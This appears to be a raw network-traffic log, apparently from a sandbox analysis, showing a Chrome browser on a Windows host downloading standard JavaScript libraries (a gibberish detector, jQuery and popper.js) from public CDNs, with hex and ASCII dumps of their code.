2024-09-29 00:27:34 UTC	585	OUT	GET /gibberish-detector.js/gibberish.min.js HTTP/1.1 Host: gtomitsuka.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:34 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 928 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Sun, 28 Jul 2019 00:43:06 GMT Access-Control-Allow-Origin: * ETag: "5d3cef9a-3a0" expires: Sat, 28 Sep 2024 23:09:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: FD25:946D5:253C7CE:29B609A:66F88A34 Accept-Ranges: bytes Age: 368 Date: Sun, 29 Sep 2024 00:27:34 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740077-EWR X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727569655.821762,VS0,VE3 Vary: Accept-Encoding X-Fastly-Request-ID: d98c0925b4ccbfed367f5049cc17e5409a8a87d3
2024-09-29 00:27:34 UTC	928	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 68 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 62 2c 61 29 7b 72 65 74 75 72 6e 20 63 3c 62 3f 28 61 3d 62 2d 63 2c 4d 61 74 68 2e 6c 6f 67 28 62 29 2f 4d 61 74 68 2e 6c 6f 67 28 61 29 2a 31 30 30 29 3a 63 3e 61 3f 28 62 3d 63 2d 61 2c 4d 61 74 68 2e 6c 6f 67 28 31 30 30 2d 61 29 2f 4d 61 74 68 2e 6c 6f 67 28 62 29 2a 31 30 30 29 3a 30 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 7b 7d 2c 61 3d 22 22 2c 64 3d 30 3b 64 3c 63 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 63 5b 64 5d 69 6e 20 62 7c 7c 28 62 5b 63 5b 64 5d 5d 3d 31 2c 61 2b 3d 63 5b 64 5d 29 3b 72 65 74 75 72 6e 20 61 7d 68 2e 64 65 74 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 30 3d 3d 3d 63 2e 6c 65 6e 67 74 68 7c 7c 21 63 2e Data Ascii: (function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49732	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:35 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-29 00:27:35 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=145047 Date: Sun, 29 Sep 2024 00:27:35 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	151.101.194.137	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:35 UTC	358	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:35 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:35 GMT Age: 1689039 X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740065-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 1 X-Timer: S1727569656.946759,VS0,VE1 Vary: Accept-Encoding
2024-09-29 00:27:36 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-09-29 00:27:36 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-09-29 00:27:36 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-09-29 00:27:36 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-09-29 00:27:36 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-09-29 00:27:36 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49735	104.17.25.14	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:35 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 00:27:35 UTC	940	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 00:27:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 869884 Expires: Fri, 19 Sep 2025 00:27:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2Ft7eeqb9Z%2B02igFK%2BXU58yLPUoGm%2BnQOfGf4AsW3SMItHX1KHZ27auUQAJ0RHVnW5%2FicLUf2a%2B5g2f%2BBLfBaBu%2BvMiPvOJ0qFU51iZoN4LeH10pW3eWJwGQtptr6d3yJaMJjg%2FR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ca7d92daf1942d1-EWR
2024-09-29 00:27:35 UTC	429	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 3b 7d 76 61 72 Data Ascii: ;var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 72 27 2b 6f 2b 27 57 69 64 74 68 27 5d 2c 31 30 29 2b 70 Data Ascii: ength&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+p
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e 28 69 3f 6f 2e 63 6f 6e 74 61 69 6e 73 28 64 29 3a 6f 3d Data Ascii: :p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return(i?o.contains(d):o=
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 74 68 2c 69 3d 65 2e 68 65 69 67 68 74 3b 72 65 74 75 72 Data Ascii: :{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,i=e.height;retur
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e 63 65 3a 74 68 69 73 2c 73 74 79 6c 65 73 3a 7b 7d 2c 61 Data Ascii: nction` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instance:this,styles:{},a
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 3a 21 30 7d 29 2c 72 7c 7c 48 28 6e 28 70 2e 70 61 Data Ascii: estroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r\|\|H(n(p.pa
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 65 6e 64 27 3d 3d 3d 65 3f 27 73 74 61 72 74 27 Data Ascii: .some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'end'===e?'start'
2024-09-29 00:27:35 UTC	1369	IN	Data Raw: 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 